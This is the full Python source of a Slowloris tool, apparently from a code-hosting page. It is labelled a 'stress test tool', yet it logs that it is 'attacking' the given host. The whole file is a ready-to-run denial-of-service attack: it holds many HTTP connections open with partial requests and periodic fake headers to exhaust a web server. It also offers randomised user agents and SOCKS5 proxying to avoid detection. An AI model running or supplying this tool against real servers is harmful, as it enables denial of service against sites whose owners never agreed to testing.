223 lines
7.6 KiB
Plaintext
223 lines
7.6 KiB
Plaintext
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#!/usr/bin/env python3
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import argparse
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import logging
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import random
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import socket
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import sys
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import time
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parser = argparse.ArgumentParser(
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description="Slowloris, low bandwidth stress test tool for websites"
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)
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parser.add_argument("host", nargs="?", help="Host to perform stress test on")
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parser.add_argument(
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"-p", "--port", default=80, help="Port of webserver, usually 80", type=int
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)
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parser.add_argument(
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"-s",
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"--sockets",
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default=150,
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help="Number of sockets to use in the test",
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type=int,
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)
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parser.add_argument(
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"-v",
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"--verbose",
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dest="verbose",
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action="store_true",
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help="Increases logging",
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)
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parser.add_argument(
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"-ua",
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"--randuseragents",
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dest="randuseragent",
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action="store_true",
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help="Randomizes user-agents with each request",
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)
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parser.add_argument(
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"-x",
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"--useproxy",
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dest="useproxy",
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action="store_true",
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help="Use a SOCKS5 proxy for connecting",
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)
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parser.add_argument(
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"--proxy-host", default="127.0.0.1", help="SOCKS5 proxy host"
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)
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parser.add_argument(
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"--proxy-port", default="8080", help="SOCKS5 proxy port", type=int
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)
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parser.add_argument(
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"--https",
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dest="https",
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action="store_true",
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help="Use HTTPS for the requests",
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)
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parser.add_argument(
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"--sleeptime",
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dest="sleeptime",
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default=15,
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type=int,
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help="Time to sleep between each header sent.",
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)
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parser.set_defaults(verbose=False)
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parser.set_defaults(randuseragent=False)
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parser.set_defaults(useproxy=False)
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parser.set_defaults(https=False)
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args = parser.parse_args()
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if len(sys.argv) <= 1:
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parser.print_help()
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sys.exit(1)
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if not args.host:
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print("Host required!")
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parser.print_help()
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sys.exit(1)
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if args.useproxy:
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# Tries to import to external "socks" library
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# and monkey patches socket.socket to connect over
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# the proxy by default
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try:
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import socks
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socks.setdefaultproxy(
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socks.PROXY_TYPE_SOCKS5, args.proxy_host, args.proxy_port
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)
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socket.socket = socks.socksocket
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logging.info("Using SOCKS5 proxy for connecting...")
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except ImportError:
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logging.error("Socks Proxy Library Not Available!")
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if args.verbose:
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logging.basicConfig(
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format="[%(asctime)s] %(message)s",
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datefmt="%d-%m-%Y %H:%M:%S",
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level=logging.DEBUG,
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)
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else:
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logging.basicConfig(
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format="[%(asctime)s] %(message)s",
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datefmt="%d-%m-%Y %H:%M:%S",
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level=logging.INFO,
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)
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def send_line(self, line):
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line = f"{line}\r\n"
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self.send(line.encode("utf-8"))
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def send_header(self, name, value):
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self.send_line(f"{name}: {value}")
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if args.https:
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logging.info("Importing ssl module")
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import ssl
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setattr(ssl.SSLSocket, "send_line", send_line)
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setattr(ssl.SSLSocket, "send_header", send_header)
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list_of_sockets = []
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user_agents = [
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"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
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"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
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"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
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"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0",
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"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
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"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
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"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
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"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14",
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"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
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"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393"
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"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
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"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
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"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
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"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
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"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
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"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
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"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
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"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
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"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
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"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
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"Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
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"Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",
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"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
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"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
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"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0",
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]
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setattr(socket.socket, "send_line", send_line)
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setattr(socket.socket, "send_header", send_header)
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def init_socket(ip):
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s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
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s.settimeout(4)
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if args.https:
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ctx = ssl.create_default_context()
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s = ctx.wrap_socket(s, server_hostname=args.host)
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s.connect((ip, args.port))
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s.send_line(f"GET /?{random.randint(0, 2000)} HTTP/1.1")
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ua = user_agents[0]
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if args.randuseragent:
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ua = random.choice(user_agents)
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s.send_header("User-Agent", ua)
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s.send_header("Accept-language", "en-US,en,q=0.5")
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return s
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def main():
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ip = args.host
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socket_count = args.sockets
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logging.info("Attacking %s with %s sockets.", ip, socket_count)
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logging.info("Creating sockets...")
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for _ in range(socket_count):
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try:
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logging.debug("Creating socket nr %s", _)
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s = init_socket(ip)
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except socket.error as e:
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logging.debug(e)
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break
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list_of_sockets.append(s)
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while True:
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try:
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logging.info(
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"Sending keep-alive headers... Socket count: %s",
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len(list_of_sockets),
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)
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for s in list(list_of_sockets):
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try:
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s.send_header("X-a", random.randint(1, 5000))
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except socket.error:
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list_of_sockets.remove(s)
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for _ in range(socket_count - len(list_of_sockets)):
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logging.debug("Recreating socket...")
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try:
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s = init_socket(ip)
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if s:
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list_of_sockets.append(s)
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except socket.error as e:
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logging.debug(e)
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break
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logging.debug("Sleeping for %d seconds", args.sleeptime)
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time.sleep(args.sleeptime)
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except (KeyboardInterrupt, SystemExit):
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logging.info("Stopping Slowloris")
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break
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if __name__ == "__main__":
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main()
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